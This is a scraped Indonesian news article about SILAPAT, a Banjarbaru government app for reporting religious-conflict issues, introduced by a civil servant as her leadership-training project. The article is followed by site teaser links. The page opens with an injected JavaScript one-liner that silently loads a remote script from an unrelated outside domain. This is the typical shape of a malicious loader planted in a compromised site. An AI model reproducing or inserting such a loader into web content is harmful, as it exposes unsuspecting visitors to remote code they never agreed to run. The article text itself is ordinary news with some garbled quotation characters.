(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Siti Zainab SAg MAg, peserta pendidikan dan pelatihan kepemimpinan tingkat IV Angkatan  XXXI mengenalkan implementasi proyek perubahan berjudul “Optimalisasi Kerukunan Umat Beragama Melalui Sistem Informasi Lapor Cepat “SILAPAT†pada Sub Bidang Ketahanan Agama dan Lembaga Kemasyarakatan Kesbangpol Kota Banjarbaru, Kamis (25/12).
Proyek perubahan Sistem Informasi Lapor Cepat “SILAPAT†diperkenalkan di kelurahan-kelurahan di Banjarbaru dengan tujuan agar aplikasi ini dipergunakan masyarakat optimal sebagai bahan informasi tentang jumlah penduduk, rumah ibadat, organisasi dan lembaga keagamaan, sekaligus ruang lapor bagi warga setiap kejadian atau persoalan keagamaan yang mengancam atas kerawanan konflik antar umat beragama, intern umat beragama dan umat beragama dengan pemerintah.
Permendagri No 2 tahun 2018 yang tertuang dalam pasal 1  dan 2 adalah pendeteksian dan pencegahan dini adalah segala usaha, atau kegiatan yang dilakukan secara langsung maupun tidak langsung untuk mendeteksi dan mencegah permasalahan yang mempengaruhi penyelenggaraan pemerintahan. “Melalui SILAPAT diharapkan menjaring data melalui laporan masyarakat akan kondisi keagamaan di Kota Banjarbaru, sehingga tercipta kehidupan keagamaan yang aman dan penuh toleransi antar, intern pemeluk agama,†ujar Siti Zainab.
Berdasarkan implementasi roadmap/milestone proyek perubahan yang memuat rincian kegiatan selama di tempat kerja yang terbagi dalam 16 kegiatan dan tiga tahapan, yaitu tahapan persiapan, tahapan implementasi dan tahapan evaluasi dan pelaopran yang secara keseluruhan dapat terlaksana dengan baik.
â€ÂBerdasarkan hasil sosialisasi SILAPAT di beberapa rapat dan pertemuan yang telah dilakukan, mayoritas respon masyarakat menyambut baik atas aplikasi tersebut sebagai terobosan baru di dunia teknologi informasi untuk mempermudah dalam melakukan pelaporan dan pendataan terhadap situasi dan kondisi keagamaan di Kota Banjarbau,†ujarnya.
Iimplementasi SILAPAT dapat diketahui bahwa jumlah pengunjung apikasi ini telah mencapai 1.205 dalam waktu 3 minggu dan beberapa respon dari masyarakat yang dituliskan dalam aplikasi SILAPAT dalam media lapor warga. Untuk menjaga sustanable keberadaan SILAPAT, maka dibuatlah SOP. SOP ini diperuntukkan bagi operator aplikasi dan admin, sehingga jangka penjangnya siapapun yang mengelola aplikasi SILAPAT tetap mengerti alur prosedur yang harus dilakukan.
SILAPAT gunanya supaya aplikasi ini dapat menjembatani antara pemerintah dan masyarakat, dan juga dapat mempermudah instansi pemerintah dalam pengelolaan informasi yang berbasis IT. Proyek perubahan ini mempunyai untuk mempermudah dalam pendataan dan penggalian informasi melalui pengaduan dengan menggunakan sistem informasi lapor cepat secara langsung dari masyarakat, sehingga aplikasi ini didesign khusus sebagai media untuk menjaring aspirasi permasalahan yang mengemuka  di masyarakat, kemudian dapat ditindak lanjuti sesuai permasalahan yang ada. Dimana masyarakat cukup mengklik di www.silapat.bakesbangpol.banjarbarukota.go.id dan android dengan menginstal silapat_new.apk. (bie)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.